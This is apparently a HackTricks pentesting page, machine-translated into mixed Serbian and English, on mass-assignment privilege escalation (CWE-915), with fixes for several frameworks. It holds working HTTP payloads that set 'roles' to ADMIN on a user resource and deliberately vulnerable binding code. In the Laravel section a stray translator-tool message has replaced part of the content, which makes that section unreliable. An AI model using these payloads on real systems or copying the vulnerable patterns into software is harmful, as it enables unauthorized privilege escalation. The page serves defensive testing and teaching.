Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Mass assignment (a.k.a. insecure object binding) nastaje kada API/controller uzme user-supplied JSON i direktno ga binduje na server-side model/entitet bez eksplicitne allow-list of fields. Ako su privileged properties kao što su roles, isAdmin, status, ili ownership fields bindable, bilo koji authenticated user može escalirati privilegije ili menjati protected state.

Ovo je Broken Access Control issue (OWASP A01:2021) koji često omogućava vertical privilege escalation postavljanjem roles=ADMIN ili slično. Obično pogađa framework-e koji podržavaju automatic binding of request bodies to data models (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, itd.).

1) Finding Mass Assignment

Potražite self-service endpoint-e koji ažuriraju sopstveni profil ili slične resurse:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Heuristike koje ukazuju na mass assignment:

  • Odgovor echo-uje server-managed fields (npr. roles, status, isAdmin, permissions) čak i kada ih niste poslali.
  • Client bundles sadrže role names/IDs ili druge privileged attribute names korišćene kroz aplikaciju (admin, staff, moderator, internal flags), što nagoveštava bindable schema.
  • Backend serializers prihvataju unknown fields bez odbacivanja.

Brzi test flow:

  1. Izvršite normalan update samo sa safe poljima i posmatrajte full JSON response structure (this leaks the schema).
  2. Ponavljajte update uključujući crafted privileged field u body-ju. Ako odgovor zadrži izmenu, verovatno imate mass assignment.

Example baseline update revealing schema:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Odgovor ukazuje na privilegovana polja:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Eksploatacija – Role Escalation via Mass Assignment

Kada znate bindable shape, uključite privileged property u isti request.

Primer: set roles to ADMIN on your own user resource:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Ako odgovor i dalje odražava promenu role, ponovo se autentifikujte ili osvežite tokens/claims tako da aplikacija izda admin-context sesiju i prikaže privilegovani UI/endpoints.

Notes

  • Role identifiers and shapes are frequently enumerated from the client JS bundle or API docs. Search for strings like "roles", "ADMIN", "STAFF", or numeric role IDs.
  • If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges.

3) Client Bundle Recon za Schema i Role IDs

  • Pregledajte minified JS bundles za role strings i model names; source maps mogu otkriti DTO shapes.
  • Tražite arrays/maps of roles, permissions, or feature flags. Konstrukcujte payloads koji se poklapaju sa tačnim property names i ugnježdenjem.
  • Tipični indikatori: role name constants, dropdown option lists, validation schemas.

Handy greps against a downloaded bundle:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Zamke frameworka i sigurni obrasci

Ranljivost nastaje kada frameworki mapiraju req.body direktno na perzistentne entitete. Ispod su uobičajene greške i minimalni, sigurni obrasci.

Node.js (Express + Mongoose)

Ranljivo:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Ispravi:

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Ranljivo (bez strong parameters):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Popravi (strong params + bez privilegisanih polja):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Ranljivo:

php
protected $guarded = []; // Everything mass-assignable (bad)

I don't have the file contents. Please paste the markdown from src/pentesting-web/mass-assignment-cwe-915.md (or the portion to translate). I will translate the English text to Serbian and preserve all code, paths, tags, links and markdown exactly as requested.

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Ranljiv obrazac:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Ispravka: Mapirajte na DTO koji sadrži samo dozvoljena polja i primenite autorizaciju:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Zatim kopirajte dozvoljena polja iz DTO u entitet na serveru, i obrađujte promene uloge samo u handler-ima koji su dostupni samo administratorima nakon RBAC provera. Koristite @JsonIgnore na privilegovanim poljima ako je potrebno i odbijajte nepoznata svojstva.

Go (encoding/json)

  • Osigurajte da privilegovana polja koriste json:"-" i validirajte pomoću DTO struct koja sadrži samo dozvoljena polja.
  • Razmotrite decoder.DisallowUnknownFields() i post-bind validaciju invariantnosti (uloge ne mogu da se menjaju u samouslužnim rutama).

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks